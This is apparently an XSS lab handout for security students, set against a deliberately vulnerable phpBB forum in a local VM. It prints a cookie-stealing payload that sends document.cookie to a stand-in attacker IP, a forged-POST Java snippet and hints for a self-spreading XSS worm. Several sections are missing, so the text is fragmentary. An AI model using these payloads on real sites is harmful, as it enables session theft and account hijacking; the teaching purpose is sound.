Cross-Site Scripting (XSS) Attack Lab
Cross-Site Scripting (XSS) Attack Lab
1 Overview
Cross-site scripting (XSS) is a type of vulnerability commonly found in web applications. This vulnerability
makes it possible for attackers to inject malicious code (e.g. JavaScript programs) into victim’s web browser.
Using this malicious code, the attackers can steal the victim’s credentials, such as cookies. The access
control policies (i.e., the same origin policy) employed by the browser to protect those credentials can be
bypassed by exploiting the XSS vulnerability. Vulnerabilities of this kind can potentially lead to large-scale
attacks.
To demonstrate what attackers can do by exploiting XSS vulnerabilities, we have set up a web-based
message board using phpBB. We modified the software to introduce an XSS vulnerability in this mes-
sage board; this vulnerability allows users to post any arbitrary message to the board, including JavaScript
programs. Students need to exploit this vulnerability by posting some malicious messages to the message
board; users who view these malicious messages will become victims. The attackers’ goal is to post forged
messages for the victims.
2 Lab Environment
In this lab, we will need three things: (1) the Firefox web browser, (2) the apache web server, and (3) the
phpBB message board web application. For the browser, we need to use the LiveHTTPHeaders exten-
sion for Firefox to inspect the HTTP requests and responses. The pre-built Ubuntu VM image provided to
you has already installed the Firefox web browser with the required extensions.
Starting the Apache Server. The apache web server is also included in the pre-built Ubuntu image.
However, the web server is not started by default. You have to first start the web server using one of the
following two commands:
The phpBB Web Application. The phpBB web application is already set up in the pre-built Ubuntu
VM image. We have also created several user accounts in the phpBB server. The password information can
be obtained from the posts on the front page. You can access the phpBB server using the following URL
(the apache server needs to be started first):
http://www.xsslabphpbb.com
Laboratory for Computer Security Education 2
Configuring DNS. This URL is only accessible from inside of the virtual machine, because we have
modified the /etc/hosts file to map the domain name (www.xsslabphpbb.com) to the virtual ma-
chine’s local IP address (127.0.0.1). You may map any domain name to a particular IP address using
the /etc/hosts. For example you can map http://www.example.com to the local IP address by
appending the following entry to /etc/hosts file:
127.0.0.1 www.example.com
Therefore, if your web server and browser are running on two different machines, you need to modify the
/etc/hosts file on the browser’s machine accordingly to map www.xsslabphpbb.com to the web
server’s IP address.
Configuring Apache Server. In the pre-built VM image, we use Apache server to host all the web sites
used in the lab. The name-based virtual hosting feature in Apache could be used to host several web sites (or
URLs) on the same machine. A configuration file named default in the directory "/etc/apache2/
sites-available" contains the necessary directives for the configuration:
1. The directive "NameVirtualHost *" instructs the web server to use all IP addresses in the ma-
chine (some machines may have multiple IP addresses).
2. Each web site has a VirtualHost block that specifies the URL for the web site and directory
in the file system that contains the sources for the web site. For example, to configure a web site
with URL http://www.example1.com with sources in directory /var/www/Example_1/,
and to configure a web site with URL http://www.example2.com with sources in directory
/var/www/Example_2/, we use the following blocks:
<VirtualHost *>
ServerName http://www.example1.com
DocumentRoot /var/www/Example_1/
</VirtualHost>
<VirtualHost *>
ServerName http://www.example2.com
DocumentRoot /var/www/Example_2/
</VirtualHost>
You may modify the web application by accessing the source in the mentioned directories. For example,
with the above configuration, the web application http://www.example1.com can be changed by
modifying the sources in the directory /var/www/Example_1/.
Other software. Some of the lab tasks require some basic familiarity with JavaScript. Wherever neces-
sary, we provide a sample JavaScript program to help the students get started. To complete task 3, students
may need a utility to watch incoming requests on a particular TCP port. We provide a C program that can be
configured to listen on a particular port and display incoming messages. The C program can be downloaded
from the web site for this lab.
Laboratory for Computer Security Education 3
1. How to use the virtual machine, Firefox web browser, and the LiveHttpHeaders extension.
3 Lab Tasks
3.1 Task 1: Posting a Malicious Message to Display an Alert Window
The objective of this task is to post a malicious message that contains JavaScript to display an alert window.
The JavaScript should be provided along with the user comments in the message. The following JavaScript
will display an alert window:
<script>alert(’XSS’);</script>
If you post this JavaScript along with your comments in the message board, then any user who views
this comment will see the alert window.
When a user views this message post, he/she will see a pop-up message box that displays the cookies of
the user.
Hello Folks,
<script>document.write(’<img src=http://attacker_IP_address:5555?c=’
+ escape(document.cookie) + ’ >’); </script>
This script is to test XSS. Thanks.
import java.io.*;
import java.net.*;
// URL to be forged.
URL url = new URL ("http://www.xsslabphpbb.com/profile.php");
//HTTP Post Data which includes the information to be sent to the server.
String data="username=admin&seed=admin%40seed.com";
// Contacts the web server and gets the status code from
// HTTP Response message.
responseCode = httpConn.getResponseCode();
System.out.println("Response Code = " + responseCode);
If you have trouble understanding the above program, we suggest you to read the following:
Limitation: The forged message post should be generated from the same virtual machine i.e. the victim
(user connected to the web forum) and the attacker (one who generates a forged message post) should be on
the same machine because phpBB uses IP address and the cookies for session management. If the attacker
generates the forged message post from a different machine, the IP address of the forged packet and the
victim’s IP address would differ and hence the forged message post would be rejected by the phpBB server,
despite the fact that the forged message carries the correct cookie information.
2. Forge a HTTP post request to post a message using the session ID.
There are two common types of HTTP requests, one is HTTP GET request, and the other is HTTP POST
request. These two types of HTTP requests differ in how they send the contents of the request to the server.
In phpBB, the request for posting a message uses HTTP POST request. We can use the XMLHttpRequest
object to send HTTP GET and POST requests for web applications. XMLHttpRequest can only send
HTTP requests back to the server, instead of other computers, because the same-origin policy is strongly en-
forced for XMLHttpRequest. This is not an issue for us, because we do want to use XMLHttpRequest
to send a forged HTTP POST request back to the phpBB server. To learn how to use XMLHttpRequest,
you can study these cited documents [1,2]. If you are not familiar with JavaScript programming, we suggest
that you read [3] to learn some basic JavaScript functions. You will have to use some of these functions:
You may also need to debug your JavaScript code. Firebug is a Firefox extension that helps you debug
JavaScript code. It can point you to the precise places that contain errors. FireBug can be downloaded
from https://addons.mozilla.org/en-US/firefox/addon/1843. It is already installed in our pre-built Ubuntu
VM image.
Code Skeleton. We provide a skeleton of the JavaScript code that you need to write. You need to fill in
all the necessary details. When you include the final JavaScript code in the message posted to the phpBB
message board, you need to remove all the comments, extra space, and new-line characters.
<script>
var Ajax=null;
To make our worm work, we should pay attention to how the session id information is used by phpBB.
From the output of the LiveHTTPHeaders extension, we can notice that sid appears twice in the
message-posting request. One is in the cookie section (it is called phpbb2mysql sid). Therefore, the
HTTP POST request sent out by XMLHttpRequest must also include the cookie. We already did it for
you in the above skeleton code.
If we look carefully at the LiveHTTPHeaders output, we can see that the same session id also ap-
pears in the line that starts with "subject=". The phpBB server uses the session id here to prevent
another type of attack (i.e. the cross-site request forgery attack). In our forged message-posting request,
we also need to add this session id information; the value of this session id is exactly the same as that in
phpbb2mysql sid. Without this session id in the request, the request will be discarded by the server.
In order to retrieve the sid information from the cookie, you may need to learn some string operations
in JavaScript. You should study this cited tutorial [4].
1. The JavaScript program that posts the forged message is already part of the web page. Therefore, the
worm code can use DOM APIs to retrieve a copy of itself from the web page. An example of using
DOM APIs is given below. This code gets a copy of itself, and display it in an alert window:
<script id=worm>
var strCode = document.getElementById("worm");
alert(strCode.innerHTML);
</script>
2. URL Encoding : All messages transmitted using HTTP over the Internet use URL Encoding, which
converts all non-ASCII characters such as space to special code under the URL encoding scheme. In
the worm code, messages to be posted in the phpBB forum should be encoded using URL encoding.
The escape function can be used to URL encode a string. An example of using the encode function
is given below.
<script>
var strSample = "Hello World";
var urlEncSample = escape(strSample);
alert(urlEncSample);
</script>
Laboratory for Computer Security Education 8
3. Under the URL encoding scheme the “+” symbol is used to denote space. In JavaScript programs, “+”
is used for both arithmetic operations and string concatenation operations. To avoid this ambiguity,
you may use the concat function for string concatenation, and avoid using addition. For the worm
code in the exercise, you don’t have to use additions. If you do have to add a number (e.g a+5), you
can use subtraction (e.g a-(-5)).
4 Submission
You need to submit a detailed lab report to describe what you have done and what you have observed.
Please provide details using LiveHTTPHeaders, Wireshark, and/or screenshots. You also need to
provide explanation to the observations that are interesting or surprising.
References
[1] AJAX for n00bs. Available at the following URL:
http://www.hunlock.com/blogs/AJAX_for_n00bs.
[4] The Complete Javascript Strings Reference. Available at the following URL:
http://www.hunlock.com/blogs/The_Complete_Javascript_Strings_Reference.
Laboratory for Computer Security Education 9
http://www.xsslabphpbb.com/posting.php
HTTP/1.x 200 OK
Date: Thu, 11 Jun 2009 19:43:15 GMT
Server: Apache/2.2.11 (Ubuntu) PHP/5.2.6-3
X-Powered-By: PHP/5.2.6-3ubuntu4.1
Set-Cookie: phpbb2mysql_data=XXXXXXXXXXX; expires=Fri, GMT; path=/
Set-Cookie: phpbb2mysql_sid=YYYYYYYYY; path=/
Set-Cookie: phpbb2mysql_t=XXXXXXXXXXX; path=/
Cache-Control: private, pre-check=0, post-check=0, max-age=0
Expires: 0
Pragma: no-cache
Vary: Accept-Encoding
Content-Encoding: gzip
Content-Length: 3904
Keep-Alive: timeout=15, max=100
Connection: Keep-Alive
Content-Type: text/html